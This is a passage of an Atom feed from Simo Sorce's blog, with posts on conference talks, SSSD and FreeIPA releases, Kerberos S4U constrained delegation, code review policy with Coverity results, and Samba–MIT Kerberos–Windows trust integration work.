It does have references to the &lt;a href=&quot;http://freeipa.org&quot;&gt;FreeIPA&lt;/a&gt; project but does not go in deep
technical details beyond explaining why we choose certain technologies.&lt;/p&gt;

&lt;p&gt;This actually led to criticism after the talk: &lt;em&gt;Not technical
enough!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;And it is a fair one, too bad that when I presented the initial abstract to
FOSDEM I got the opposite reply: &lt;em&gt;Too technical!&lt;/em&gt;, so I had to water
down and broaden the initial proposal :-).&lt;/p&gt;

&lt;p&gt;I guess you can never win this game, so my resolution is to oscillate between
the two extremes ...&lt;/p&gt;

&lt;p&gt; ... which brings me to the other talk at &lt;a href=&quot;http://www.devconf.cz&quot;&gt;DevConf.cz&lt;/a&gt;. This is a very nice conference,
organized by &lt;a href=&quot;http://www.redhat.com&quot;&gt;Red Hat&lt;/a&gt; in Brno.&lt;/p&gt;

&lt;p&gt;DevConf.cz is a developer conference so I presented a pretty technical talk
on &lt;a href=&quot;https://ssimo.org/slides/devconf-2013-gss-proxy.pdf&quot;&gt;GSSAPI and privilege
separation using Gss-Proxy&lt;/a&gt; which is the latest project I launched together
with Nico and later the help of Günther.&lt;/p&gt;

&lt;p&gt;This time I got the: &lt;em&gt;Too technical!&lt;/em&gt; red flag. Hopefully, though,
it was still interesting enough for the audience.&lt;/p&gt;

&lt;p&gt;All in all, I enjoyed these conferences very much, I won't list all the
excellent talks I attended, there were too many. Most importantly I was able
to finally meet face to face with some people I interact every day or I needed
to have a more interactive discussion to hash out some problems an ideas. So
fun and very productive time, what more can you ask for as a nerd type ?&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">What a great year!</title>
		<link href="https://ssimo.org/blog/id_012.html"/>
		<id>tag:ssimo.org.blog:id_012</id>
		<updated>2012-12-29T06:00:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;This past year has been really great, too bad I found little time to
update my blog :-)&lt;/p&gt;

&lt;p&gt;A few things happened that made me cheer up while thinking about what has
been going on this year.&lt;/p&gt;

&lt;p&gt;Samba &lt;a href=&quot;https://www.samba.org/samba/history/samba-4.0.0.html&quot;&gt;4.0&lt;/a&gt; finally
happened. It has been an incredible, long ride, with highs and lows but
amazingly we pulled it off!&lt;/p&gt;

&lt;p&gt;FreeIPA &lt;a href=&quot;http://www.freeipa.org/page/IPAv3_300_ga&quot;&gt;3.0&lt;/a&gt; &lt;b&gt;and&lt;/b&gt; &lt;a href=&quot;http://www.freeipa.org/page/IPAv3_310&quot;&gt;3.1&lt;/a&gt; with AD cross-forest trust
integration also were released this year. I am so proud of this project, it has
achieved results I hardly hoped for when I started it a few years ago.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://fedorahosted.org/sssd&quot;&gt;SSSD&lt;/a&gt; has seen multiple releases
with the 1.8 Long Term Maintenance series and 1.9 series. SSSD is one of the
most successful projects I started these past years and I used it every day
myself with great pleasure.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://fedorahosted.org/gss-proxy&quot;&gt;Gss-Proxy&lt;/a&gt; is the last
project I started, just this year, and has seen 2 initial no-fanfare releases.
It is one of those plumbing things that are hardly seen (except when things
break :-) but it was exciting to work so deep into GSSAPI code.&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Kerberos: delegation and s4u2proxy</title>
		<link href="https://ssimo.org/blog/id_011.html"/>
		<id>tag:ssimo.org.blog:id_011</id>
		<updated>2012-02-12T16:00:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;One of the most obscure parts of the Kerberos protocol is delegation. And
yet it is a very powerful and useful tool to let &quot;agents&quot; work on behalf of
users w/o fully trusting them to do everything a user or an admin can.&lt;/p&gt;

&lt;p&gt;So what is delegation ? Simply put is the ability to give a service a token
that can be used on the user's behalf so that a service can act as if it were
the user himself.&lt;/p&gt;

&lt;p&gt;In &lt;a href=&quot;http://www.freeipa.org&quot;&gt;FreeIPA&lt;/a&gt;, for example, the web
framework used to mediate administration of the system is such an agent. The
framework on it's own has absolutely no privileges over the rest of the system.
It interacts almost exclusively with the LDAP server and authenticates to the
LDAP server using delegated credentials from the user that is sending in
the requests.&lt;/p&gt;

&lt;p&gt;This is possible because through Kerberos and GSSAPI it is possible to
delegate user's credentials during the Negotiate exchange that happens at the
HTTP layer when a user contacts the Web Server and authenticates to it.&lt;/p&gt;

&lt;h4&gt;How does it work ?&lt;/h4&gt;

&lt;p&gt;Before we answer this question we have to make a step back and explain what
kind of delegations are possible. Historically only one kind of very inflexible
delegation was really implemented in standard Kerberos implementations like
MIT's or Heimdal's. The full delegation (transmission) of the user's krbtgt to
the target service.&lt;/p&gt;

&lt;p&gt;This kind of delegation is perfect for services like SSH, where the user
wants to have full access to their own credentials after they jumped on the
target host, and they generally remain in full control of them.&lt;/p&gt;

&lt;p&gt; The drawback of this method is that by transmitting the full krbtgt we are
now giving another host potential access to each and all services our user has
access to. And while that is &quot;powerful&quot; it is also sort of overly broad in many
other situations. the other minor issue is that normally KDC's do not have
fine grained authorization attached to this feature, meaning that a user (or
often more generally a program acting on the user's machine) can delegate these
credentials to any service in the network, w/o much control from admins.&lt;/p&gt;

&lt;h4&gt;Enter S4U constrained delegation&lt;/h4&gt;

&lt;p&gt;Luckily for us Microsoft introduced a new type of &quot;constrained&quot; delegation
normally referred to as
&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/cc246071%28PROT.13%29.aspx&quot;&gt;
S4U&lt;/a&gt;. This is an extension to the age old Kerberos delegation method and
adds 2 flavors of delegation each depending on the KDC for authorization;
they are called Service-for-User-to-Self (S4U2Self) and
Service-for-User-to-Proxy (S4U2Proxy).&lt;/p&gt;

&lt;h4&gt;Service-for-User-to-Self&lt;/h4&gt;

&lt;p&gt;S4U2Self allows a service to get a ticket for itself on behalf of a user,
or in other terms is allows to get a ticket as if a user requested it using
it's krbtgt form a KDC and then contacted the service.&lt;/p&gt;

&lt;p&gt;This option may seem of little use, why would a service care for a ticket
to itself ? If it is asking it, it already knows the identify of the user and
can operate on its behalf right ? Wrong.&lt;/p&gt;

&lt;p&gt;There are at least 3 aspects that makes this function useful. First of all
you get the KDC to give you a ticket and therefore validate that the user
identity actually exist and is active. Second it may attach a MS-PAC (or
other authorization data to the ticket, allowing the service to know, form an
authoritative source, authorization information about the user. Finally, it
may allow the service to do further actions on behalf of a user by using
S4U2Proxy constrained delegation on top.&lt;/p&gt;

&lt;p&gt;All this is possible only if the KDC allows the specific service to request
S4U2Self services. This is an additional layer of authorization that is very
useful to admins, it allows them to limit what services can use this
feature.&lt;/p&gt;

&lt;h4&gt;Service-for-User-to-Proxy&lt;/h4&gt;

&lt;p&gt;S4U2Proxy is the actual method used to perform impersonation against a 3rd
service. To use S4U2Proxy a service A that wants to authenticate to service B
on behalf of user X, contacts the KDC using a ticket for A from user X (this
could also be a ticket obtained through S4U2Self) and sends this ticket to the
KDC as evidence that user X did in fact contact service A. The KDC can now make
authorization decisions about whether to allow service A to get a ticket for
service B in the name of user X. Normally admins will allow this operation only
for services that are authorized &quot;Proxies&quot; to other services.&lt;/p&gt;

&lt;p&gt;In FreeIPA we just switched to using S4U2Proxy in order to reduce the attack
surface against the web framework. By using S4U2Proxy we do not need the user
to delegate us a full krbtgt. By doing this we allow the web framework to
effectively be able to operate against the LDAP server and no other service in
the domain&lt;/p&gt;

&lt;p&gt;These 2 delegation methods are available now both in MIT's and Heimdal's
Kerberos implementations. In MIT's case (which is the implementation we use in
FreeIPA) it is really possible to use these features only if you use an LDAP
back-end (or in general a custom back-end that implements the necessary kdb
functions. The native back-end does not have support for these features, because
it lacks meaningful grouping methods and Access Control facilities to control
them.&lt;/p&gt;

&lt;p&gt;In coding up the support for FreeIPA we ended up fixing a few bugs in
MIT's implementation that will hopefully be available for general use in 1.11
(We have back ported patches to RHEL and Fedora). We also had to modify the
Apache mod_auth_kerb module to properly deal with S4U2Proxy, which requires the
requesting service to have a valid krbtgt in order to send the request to the
KDC. Something mod_auth_kerb did not need before (you do not need a krbtgt if
you are just validating a ticket).&lt;/p&gt;

&lt;h4&gt;Conclusion&lt;/h4&gt;

&lt;p&gt;S4U constrained delegation is extremely useful, it reduces attack surface by
allowing admins to effectively constrain services, and gives admins a lot more
control about what users can delegate to. Finally it also makes clients
simpler, and this is a key winning feature. In the classic delegation scheme
clients needs to decide on their own whether to delegate a krbtgt, which
ultimately means either asking the user or always/never do it. And given it is
quite dangerous to liberally forward your ticket to random services the default
is generally to not delegate the krbtgt, making it very difficult to rely on
this feature to make powerless agents. With S4U the user only needs a
Forward-able TGT, but does not need to actually forward it at all. This is
a reasonable compromise and does not require applications to make choice on
user's behalf, nor to make user's need to make any decision. The decision rests
on admins to allow certain service or not, and is taken generally once, when
the service is put in production, greatly reducing the burden to
administrators and the risks involved in the traditional delegation scheme.&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Code Reviews, Quality and Coverity Results</title>
		<link href="https://ssimo.org/blog/id_010.html"/>
		<id>tag:ssimo.org.blog:id_010</id>
		<updated>2010-12-22T23:00:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;As &lt;a href=&quot;https://fedorahosted.org/sssd/&quot;&gt;SSSD&lt;/a&gt; 1.5.0 is &lt;a href=&quot;https://fedorahosted.org/pipermail/sssd-devel/2010-December/005403.html&quot;&gt;
hitting&lt;/a&gt; the street, I want to give some background on how we deal with
code, reviews and quality in SSSD.&lt;/p&gt;

&lt;p&gt;NOTE: if you just want to see the Coverity results, feel free to jump to the
&lt;a href=&quot;https://ssimo.org/blog/#coverity&quot;&gt;end&lt;/a&gt; of this long post :-)&lt;/p&gt;

&lt;p&gt;When I helped jump-starting this project one of the things I wanted to try
out was a very strict Review Policy for a few reasons.&lt;/p&gt;

&lt;p&gt;One of the reasons was consistency. Previous projects I participated in had
very lax policies about pretty much everything. Style, review, quality, where
not strictly enforced, and this is felt as a way to keep the barrier to entry
low. In my experience though, the inconsistent style, unclear direction, poor
or no review, in the end caused other different barriers to a new developer.
&lt;/p&gt;

&lt;p&gt;Lack of enforced consisting style makes code difficult to read,
especially when you have to read a pair of interacting functions that are
written in wildly different styles.&lt;/p&gt;

&lt;p&gt;Lack of required reviews helped creating an environment in which
contributions from outside are not promptly commented upon. The developer
with commit access is used to throw in pretty much everything without having
to wait for someone to review. This makes core developers forget how painful
it is waiting for a review that is never happening. This in turn can
discourage new developers that do not have direct commit access from
proposing patches as they see too little feedback and do not feel properly
engaged.&lt;/p&gt;

&lt;p&gt;Finally quality is something I think suffers a lot from lack of review.
Developers that do not have to stand review tend to become more relaxed,
code is thrown in without much thought, as long as it doesn't break the build.
But breaking the build is a pretty low standard. So often the way a function
perform operations, the semantics, are implicitly assumed by other code.
Reviews, in my experience, tend to expose the same piece of code to different
point of views, and expertise within the project. Things that seem innocuous
are pointed out and both developers at the end of the process gain both more
knowledge of each other points of view, and more knowledge in general about
the piece of software they are modifying. Usually the net result is that in
the mid/long term code quality improves significantly.&lt;/p&gt;

&lt;p&gt;When you use a common SCM tool, like git, code reviews can happen in two
ways. Review before commit or Review-Commit (R-C), and review after commit or
Commit-Review (C-R). In SSSD we use the former. Patches must be reviewed and
acked by a second developer before they can be committed.&lt;/p&gt;

&lt;p&gt;R-C is generally thought as a stricter method, but I find it much better
than C-R.*&lt;/p&gt;

&lt;p&gt;In my experience with the C-R method the reviewer is encouraged to do
sloppier and cursory reviews and just give acks unless something really
stands up as very ugly. Patches regularly slip past review during phases
where a lot of churn happens. Long patches tend to get the least review
(exactly when reviews are more important). People are less engaged. Also
because the code is already committed, bad patches can cause a lot of bad
feelings, the patch is seen as breaking the code, reverts are called for
and the author may feel embarrassed or angered by how they are being
treated.&lt;/p&gt;

&lt;p&gt;R-C instead assures review is done, more importantly it requires active
intervention from the reviewer. This in turn makes it less problematic to
actually comment on all aspects of the code even minor ones. Of course it
also risks abuse from obsessive nitpickers, but in general lets people speak
frankly of the code, and request the appropriate corrections be done or the
code will not be committed. The patch is never seen as breaking anything, as
it is not committed yet, so you rarely see that added anxiety, pressing and
bad feelings that rise when a fix is needed asap. The patch creator have all
interest in fixing the issues and learning why they were issues in the first
place, and resubmit a better patch, without pressure or embarrassment.&lt;/p&gt;

&lt;p&gt;I found this aspect to be fundamental in helping new developers get up to
good code standards quickly. Not only people does not get frustrated by poor
commits that need to be &quot;fixed&quot; asap. But the interaction between more senior
developers and younger ones benefits both greatly. On the one hand the younger
developer gets access to the insights of the more experienced developer. They
get to understand why the patch is not OK and how it need to be improved to be
made acceptable. On the other hand the more experienced developer gets a grasp
of what parts of the code are really difficult to deal with for younger ones.
Sometimes you are so used to do things one way that you don't realize that they
really are pain points and needs refactoring to make them usable.&lt;/p&gt;

&lt;p&gt;Also because all developers are submitted to the same regime there are no
'elites' that escape review. And this prevents bad feelings when a patch takes
some more time to get approved. It generally also prevent the 'elite' from
looking down on new developers. Or other similar 'status' issues. Of course
there always developers that are more authoritative, but that authority is
earned on the field and maintained through reviews&lt;/p&gt;

&lt;p&gt;Arguably all these arguments are strongly biased by my personal view of
things, I definitely do not deny that, but is there a metric that can tell
whether I was right or wrong in some respect ?&lt;/p&gt;

&lt;p&gt;&lt;a name=&quot;coverity&quot; href=&quot;http://www.coverity.com/products/static-analysis.html&quot;&gt;Coverity&lt;/a&gt;
Results seem to give some interesting insight.&lt;/p&gt;

&lt;p&gt;We have been running Coverity a couple of times during the 1.2.0 development
cycle, using spare cycles of an internal Red Hat instance. 1.2.0 was an
important release for us because it was going to end up in RHEL 6.0 so we
wanted to find and fix as many critical bugs as possible.&lt;/p&gt;

&lt;p&gt;The first time, ever, that we ran Coverity on the SSSD code base gave us
back a defect density of 1.141 bugs per thousand lines of code. After removing
the false positives we were down to 0.556 bugs per thousands lines of code.&lt;/p&gt;

&lt;p&gt;This was an astounding result. As you can see in the 'Coverity Scan: 2010 Open
Source Integrity Report' the mean of defects for the software industry is
around 1 defect per thousand lines, and the mean for first scan is usually much
higher. Also looking at the 2006 report the mean for the top most 32 open
source projects was around 0.4 defects per thousands lines. So we were pretty
close to that metric too.&lt;/p&gt;

&lt;p&gt;Of course we fixed most of the bugs that were found and a second scan of the
1.2.1 release revealed a defect density of 0.029 bugs per thousands lines. I
call that impressive (and if you know me you know I am not someone that easily
shows enthusiasm).&lt;/p&gt;

&lt;p&gt;That was all and well, but we didn't have further access to Coverity until
recently. During the release of 1.5.0 we got access again to Coverity scans, so
we ran the tool to find out how we fared.&lt;/p&gt;

&lt;p&gt;Before spitting numbers I have to say that the comparison against 1.2.0 is a
bit skewed because we forked off a set of basic libraries that now live in their
own tree.&lt;/p&gt;

&lt;p&gt; 1.2.1 had ~ 74k lines of C code alone and the libraries we forked off
constituted ~12k lines of that code. In 1.5.0 we have ~ 65k lines instead.
So we roughly lost 12k lines and gained 3k lines total. The amount of code
change is quite a different thing though. Using git, I can see that the
removal of the libraries amounted to roughly 34k deletions (this counts also
makefiles, comments, blanklines, etc... that's why it is different than the
11k LOC numbers I gave above) while the diffstat of the diff between 1.2.1 and
1.5.0 gives ~ 73k deletions and 56k additions. So quite a bit of changes
happened on that code base after all.&lt;/p&gt;

&lt;p&gt;In mid December we scanned the code base, roughly 6 months after the release
of 1.2.1, and the results were again astounding: 0.189 bugs per thousand lines.
In total 24 defects, 20 real, and 4 false positive. And a week later the we
were down to 0 (zero) outstanding defects.&lt;/p&gt;

&lt;p&gt;These numbers tell me that our code quality is quite good, and although I
can't claim a causal effect, I believe that our review strategy is to be
accounted for much of it.&lt;/p&gt;

&lt;p&gt;Finally, Congratulations to all SSSD developers. You've done a fine job
guys, quite a fine job!&lt;/p&gt;

&lt;hr /&gt;
&lt;p&gt;* - &lt;font size=&quot;0.5&quot;&gt;I have to say that w/o git R-C would be probably too
painful, but git let's you manage the code so easily that R-C has become much
simpler and doesn't block a developer as he can keep piling patchs on top of
his own repository while waiting for the review, and later easily use the
rebasing features of git to fix whatever need fixing quite easily.&lt;/font&gt;&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">SSSD a tale of community, collaboration, success!</title>
		<link href="https://ssimo.org/blog/id_009.html"/>
		<id>tag:ssimo.org.blog:id_009</id>
		<updated>2010-05-24T20:44:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;Today a long development cycle started more than a year an half ago comes to
a conclusion with a great release:
&lt;a href=&quot;https://fedorahosted.org/sssd/&quot;&gt;SSSD&lt;/a&gt; 1.2.0 is &lt;a href=&quot;https://fedorahosted.org/pipermail/sssd-devel/2010-May/003766.html&quot;&gt;
out&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;First of all I must say I am extremely proud of the team. When I started the
project in September 2008 I knew where I wanted to go, and I knew it would have
been a long journey. But I didn't really know how the trip would be.&lt;/p&gt;

&lt;p&gt;Looking back at the first days it seem magic what we achieved, so much was
unknown, so high where my expectations, I almost feared I couldn't live up to
them myself. But thanks to Steve, Sumit, Jakub, Martin and others the project
grew, matured and now SSSD is going to be shipped in the forthcoming RHEL 6
release.&lt;/p&gt;

&lt;p&gt;Since a few months ago Steve really took over the release management role
and he's done an outstanding job. The SSSD 1.2.0 release has his name all over.
The dedication he showed is truly remarkable. Thanks Steve!&lt;/p&gt;

&lt;p&gt;Beside the more dedicated developers I also have to thank a lot of people
that put SSSD under stress and tested it in real deployments, since the the
early 0.x releases.&lt;/p&gt;

&lt;p&gt;One of the most important factors for the success of a FOSS project is the
formation of a community of people that can work together in a very cooperative
way. All these people not only reported bugs but also patches and most importantly
had the patience to interact and test fixes, make requests, discuss needs and
expectations. A great positive feedback loop; extremely motivating! I can say
beyond any doubt that without them SSSD wouldn't be even close to where it is
now.&lt;/p&gt;

&lt;p&gt;THANK YOU contributors, all of you!&lt;/p&gt;

&lt;p&gt;Of course a new cycle opens now, as new releases are already waiting in the
pipeline, but it is a good moment to stop and look at what has been done.&lt;/p&gt;

&lt;p&gt;SSSD is something that I have been thinking about in various forms since I
started working for Red Hat more than 3 years ago, and in vague forms way, way
before that, back when I was still doing consulting jobs in Italy. Since I
started formalizing it within Red Hat it was called in many ways (one of the
stickier names we used internally for a while was &quot;Blue Box&quot;), and was often
thought as a piece of the puzzle we call
&lt;a href=&quot;http://www.freeipa.org&quot;&gt;FreeIPA&lt;/a&gt;. You can still probably find
references to it in the older design plans on the FreeIPA wiki.&lt;/p&gt;

&lt;p&gt;So what can SSSD do today?&lt;/p&gt;

&lt;p&gt;The most interesting features are related to the primary use case we've been
working against. LDAP servers and Kerberos authentication.&lt;/p&gt;

&lt;p&gt;SSSD works like a connection pooling an cache mechanism for a client. It
will provide the machine with users and groups fetched and cached from the
central server. Plus it adds neat feature like offline authentication, a real
boon if you want to use LDAP and laptops at the same time, but in general a
great feature if you have remote machines behind a slow or unstable link and
you want to take sure your users can keep working if the connection goes
temporarily down. It frees you from the need to put an LDAP replica in a remote
office just for a very few users.&lt;/p&gt;

&lt;p&gt;SSSD has a modular multi-process design, it has been built with resilience
and robustness in mind, a very small process controls a bunch of children that
handle specific tasks.  If any component dies, the monitor restarts it to avoid
service disruption. (although I have to say that it has been many many moons
since I had an issues on my machines, and that's just great).&lt;/p&gt;

&lt;p&gt;SSSD is built with frontends to handle NSS and PAM communication, and backend
providers to handle access to remote servers, plus a file based mmaped cache that
works as a unifying glue to store and retrieve data. Multiple different
backends can be configured, to retrieve user information and perform
authentication. And many of these modules can be combined together like in the
case of the IPA backend that is substantially an LDAP identity provider plus a
Kerberos authentication provider.&lt;/p&gt;

&lt;p&gt;Much more could be said, but I think this is enough to ignite some curiosity
for now ;-)&lt;/p&gt;

&lt;p&gt;For the interested people I can say SSSD has been shipped in Fedora for quite
a while now, but only recently authconfig was modified to make it simpler to
configure it with the upcoming F-13 release. The integration is already quite nice
and we hope to improve it even more in future. Although other distributions
have already packaged it and will hopefully ship it soon as a first citizen too.&lt;/p&gt;

&lt;p&gt;Last but not least, I must also thank Red Hat for believing in this small
project and funding most of its development so far. Red Hat is a great place to
stay if you want to develop core infrastructure technology.&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Convincing a Windows Domain that we are trustworthy</title>
		<link href="https://ssimo.org/blog/id_008.html"/>
		<id>tag:ssimo.org.blog:id_008</id>
		<updated>2010-03-16T03:40:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;In the last few weeks I have been working on trying to find out how to
make a Windows 2008 R2 Domain Controller, trust a Samba domain so that it
would consider us able to handle PACs and therefore send us them.&lt;/p&gt;

&lt;p&gt; This is different from the normal MIT Kerberos level trust. When using
those trusts, the Windows DC does not expect the other Realm to be able to
send PACs, understand PACs, or understand routing information for transitive
trusts.&lt;/p&gt;

&lt;p&gt;In order to set-up a cross-realm trust you need to make the Windows DC
believe we are actually just another Windows Domain, with all the bells and
whistles of a Windows Domain. Well, actually not all of them, and discovering
exactly which ones was my goal.&lt;/p&gt;

&lt;p&gt;As usual with Windows, there is a lot of redundancy and different ways to
do things. Depending on the way you try to set up cross-forest trust
relationships you will cause different netlogon RPCs to be issued.&lt;/p&gt;

&lt;p&gt;After implementing some of them, and finding that some others were hard, I
tried to find a way to reduce the amount of calls we need.&lt;/p&gt;

It turns out, as one might expect, that creating the 2 half of the trust on
each DC would be easier as only the verification process is left. What I did
not expect was that that was going to be true even if the tool used to create
the trust on the Samba side, was actually a Windows 7 box.

&lt;p&gt;Long story short, after fiddling around and hacking up some netlogon calls
obscenely, in some cases hard coding server names in there, I was able to
convince the Windows DC that we were indeed a trustworthy realm. Something to
which it could route kerberos packets including the PAC.&lt;/p&gt;

&lt;p&gt; At the same time the Samba domain KDC was able to parse the PAC and use
the cross-realm trust account password to release tickets. And the Windows
side was able to use this to seamlessly access the Samba fileserver.&lt;/p&gt;

&lt;p&gt; For the moment it is all a big hack, and I have tested it only with a one
way trust relationships (the Samba domain trusts the Windows domain but not the
other way around). Yet it allowed me to finally confine the problem and
understand exactly what is the minimum set of calls we have to answer and,
most importantly, what we are supposed to answer.&lt;/p&gt;

&lt;p&gt;Because of the hacks this code won't go in any tree for now, but it the
base I need to plan the next steps. There is a lot of work to do before
we have the mechanism needed to substitute the hacks with the proper actions
the Samba server needs to take.&lt;/p&gt;

&lt;p&gt;Ah, almost forgot, while researching this matter I also found interesting
oddities and some protocol issues. Those always spice up your day, as it
derails all your work and distracts you from your path until you understand
and then solve or work around the problem. Usually just to fall into a new one
a few days later, just as soon as you got back to the thread and remembered
what were you actually doing and expecting to happen, so that you can happily
forget it all over again. But this is also fun if you can take it
philosophically :-)&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Samba + MIT Kerberos, first steps are done</title>
		<link href="https://ssimo.org/blog/id_007.html"/>
		<id>tag:ssimo.org.blog:id_007</id>
		<updated>2010-02-01T23:08:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;I've been working on rebasing the samba patches to be able to push them
upstream. After some quite deep rebasing work I was able to push all of the
changes required to common code. And the amount of changes were surprisingly
small all considered.&lt;/p&gt;

&lt;p&gt;Today I finished nailing the last bits in the samba and mit sides of the
plugin implementing both policy checks calls and constraint delegation
calls. I will propose the patch to both upstreams soon.&lt;/p&gt;

&lt;p&gt;Meanwhile my focus has been shifting toward Cross-Realm trust relationships
and in particular External and Forest trusts in AD parlance, both one-way and
two-way&lt;/p&gt;

&lt;p&gt;Unfortunately the samba 4 code still does not support cross-realm trust so I
had to use 2 Windows 2008 Servers to do my experiments.&lt;/p&gt;

&lt;p&gt;The amount of calls that need to be implementd does not look too big,
although the devil is always in the details. It even seem that there is some
code already available but it is not fully patched in. As we stand, A Windows
DC is able to actually create the trust domain object in Samba's Database, but
then Samba fails to reply to some queries about it and to setup Schannel over
RPC to validate the Trust from the Windows pov.&lt;/p&gt;

&lt;p&gt;I am considering working on Samba 4 to get it to work in a trusted realm
scenario, but I still need to do some more research first.&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Habemus PAC</title>
		<link href="https://ssimo.org/blog/id_006.html"/>
		<id>tag:ssimo.org.blog:id_006</id>
		<updated>2010-01-15T00:38:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;After some working, digging, changing, re-changing, fixing, cursing, fixing
it again, I've got MIT Kerberos and Samba collaborate also on the PAC
front.&lt;/p&gt;

&lt;p&gt;Today I was able to login on Windows 7 using the MIT KDC, and all players
are happy.&lt;/p&gt;

&lt;p&gt;This was an important mileston, although the job is certainly not finished.
I still have to implement one important authorization function, and go over a
few todo's in the code.&lt;/p&gt;

&lt;p&gt;But as with all milestones this was very satisfing, even more so because it
took me a lot less than I anticipated, and I usually underestimate :-)&lt;/p&gt;

&lt;p&gt;Well, that's it for today!&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Hurray! Got the first ticket from MIT Kerberos + Samba 4</title>
		<link href="https://ssimo.org/blog/id_005.html"/>
		<id>tag:ssimo.org.blog:id_005</id>
		<updated>2010-01-09T00:59:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;It is always a sweet feeling when things go the way you like, and fast too!&lt;/p&gt;

&lt;p&gt;After just a week working around this Chimera, today I was able to tame the
beast. I made krb5kdc return a TGT reading all data off of samba4 internal
database.&lt;/p&gt;

&lt;p&gt;I can't feel anything but triumph. It is true that it is not that much after
all, but I can't help feeling happy for the result. This effort has been put off
for so long and deemed so difficult that I was very pleased to find out it wasn't
too difficult after all.&lt;/p&gt;

&lt;p&gt;Of course the job is not done. The impedance mismatch between Samba 4's
embedded Heimdal and MIT Kerberos interfaces forced me to defer adding the
PAC. Without the PAC, the nice Windows 7 refuses to log you in of course,
but that was expected, so it didn't bother me in the least.&lt;/p&gt;

&lt;p&gt;Adding the PAC is not difficult, and all the code I need is in Luke's HDB
Bridge code, which provided also most of the guidance and code I needed for
this effort.

&lt;p&gt;Without Luke's code this effort would have been much more difficult indeed.
The code itself is not very complex, but the knowledge of both project internals
was needed and Luke provided the knowledge I missed on the MIT kdb plugin side.&lt;/p&gt;

&lt;p&gt;I hope to have a hacky prototype able to add the PAC using Luke's code
next week. Once I can make Windows work with this code, I will actually start
working on trying to get a little bit cleaner interfaces within Samba so that I
can reduce the dependency on the Heimdal code hacks in the bridge code.&lt;/p&gt;

&lt;p&gt;PS: if you want to see the work you can pull the code from these 2
branches:
&lt;br /&gt;git://git.samba.org/idra/samba.git
&lt;br /&gt;git://git.samba.org/idra/krb5.git&lt;/p&gt;&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">mating samba and MIT Kerberos</title>
